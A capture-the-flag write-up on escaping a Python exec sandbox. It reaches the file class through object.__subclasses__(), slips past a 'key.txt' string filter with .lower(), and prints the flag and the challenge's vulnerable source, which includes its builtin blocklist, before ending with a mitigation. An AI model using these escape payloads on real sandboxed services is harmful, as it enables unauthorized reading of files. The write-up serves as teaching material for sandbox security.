5138 - Escape from Python City
Challenge
I connect to the server and am presented with the following message:
Can you read the key.txt?
I type in ls
and am presented with the following:
x= ls
Exception: name 'ls' is not defined
Exception: 'NoneType' object has no attribute 'group'
I am in a python sandbox and must escape or read the key.txt file somehow. I try to simply type in sh
and get the following message:
Good try, but not allowed :-)
I notice the exception and figure I am in a try
block. So I try to escape any outer loops using continue
and break
but these both fail. I shortly realise I am assigning some value to x
but I can use ;
to run multiple commands.
I try to run: 1;print 'test'
which sets x
to 1 and prints 'test'. This however fails because I realise I cannot use spaces! Going back to the exception I am getting, I see group is being used so my initial reaction is to use regular expressions so the exception does not happen (as the x
object will have a .group()
attribute).
I try to feed in: re.match(r'(.*)','test')
However, re
is not defined! I can't import it in the regular way as that involves a space, I try to use __import__('re')
but it is not defined. I also try to run reload(__builtins__)
to try and reload the import definition but reload is not defined either.
At this stage I try various things, one being to check to see what variables are defined in the function, I run 1;print(globals())
and get:
{'a': None, 'search': <function search at 0xb7433f44>, 'e': AttributeError("'Non eType' object has no attribute 'group'",), '__builtins__': <module '__builtin__' (built-in)>, '__file__': './level1.py', 'securized': <function securized at 0xb 741dd14>, '__package__': None, 'x': 1, '__name__': '__main__', '__doc__': None}
This tells me I have an a
variable as well as an e
exception variable! I experiment a little and discover my a
variable is actually evaluated before the group()
exception is raised. So this allows me to do various things (I experiment a lot at this stage). I notice that file
is not defined but object
is! I'm going to use object to find the offset of the file
subclass.
First I run a short test on my local machine:
counter = 0
for i in object.__subclasses__():
if i == file:
print counter
counter += 1
It tells me the offset is at 40 but this is obviously different for the remote machine. I eventually find that file
is at offset 58 on the remote machine (trial and error).
I can now try to call file
with the path of key.txt as the argument and I will attempt to call read()
on the object which should allow me to read the file.
I try the following (setting a
to what I want to be evaluated):
a=object.__subclasses__()[58]("./key.txt").read()
Unfortunately, the remote host instantly terminated the connection. This is because I used the phrase key.txt. I use a bit of trickery here and try the following instead:
a=object.__subclasses__()[58]("./KEY.TXT".lower()).read()
This prints out the key.txt file!
Contents:
key{get_y0ur_pyth0nized_k3y!}
Bonus
Since we leaked the name of the python script before, we can actually leak the python source too.
We run:
a=object.__subclasses__()[58]("./level1.py").read()
And get the source:
#!/usr/bin/env python
# config with socat
# Use socat to run as a listening service
# socat TCP-LISTEN:1337,fork EXEC:./level1.py,pty,stderr
def securized():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]
from re import search
securized()
print 'Can you read the key.txt?'
while True:
try:
x = search('\S+', raw_input()).group(0)
if "key.txt" in x:
print "Hey ! this is fun, you have to read a key.txt but i avoid this string, padawan :-)"
exit()
if "sudo" in x:
print "Good try, but too dangerous !"
exit()
if "sh" in x:
print "Good try, but not allowed :-)"
exit()
print "x=", x
a = None
exec 'x=' + x
print 'you got:', a
except Exception, e:
print 'Exception: ', e
Security Questions
1,2,3: See above
4. Explain mitigation (remedy)
The issue here is that I was able to call __subclasses__()
. The sandbox needs to undefine this (add it to the UNSAFE
list) and block all commands that contain __
. With that change the sandbox is much stronger and seemingly unbreakable.